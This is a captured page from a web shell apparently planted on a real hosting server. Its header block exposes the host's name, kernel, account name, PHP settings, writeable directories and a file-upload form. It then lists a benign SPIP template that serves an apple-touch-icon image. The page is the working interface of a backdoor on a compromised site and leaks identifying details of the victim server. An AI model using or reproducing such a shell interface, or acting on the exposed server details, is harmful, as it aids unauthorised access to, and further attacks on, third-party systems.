Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins-dist/filtres_images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins-dist/filtres_images/apple-touch-icon.png.html
#HTTP_HEADER{Content-Type: image/png}
#HTTP_HEADER{Content-Transfer-Encoding: binary}
<?php
/*
Dans le .htaccess :
RewriteRule ^apple-touch-icon(-(\d+x\d+))?(-precomposed)?[.]png$      spip.php?page=apple-touch-icon.png&size=$2 [QSA,L]
*/
$file="[(#CHEMIN{apple-touch-icon[-(#ENV{size,''})].png}|sinon{[(#LOGO_SITE_SPIP|sinon{#CHEMIN{spip.png}}
		|image_passe_partout{[(#ENV{size,57}|intval)],[(#ENV{size,57}|intval)]}
		|image_recadre{[(#ENV{size,57}|intval)],[(#ENV{size,57}|intval)],center}
		|image_aplatir{png,#ffffff}|extraire_attribut{src})]})]";
if ($cl = filesize($file=preg_replace(',[?].*$,','',$file)))
	header("Content-Length: ". $cl);

readfile($file);
?>

SAMX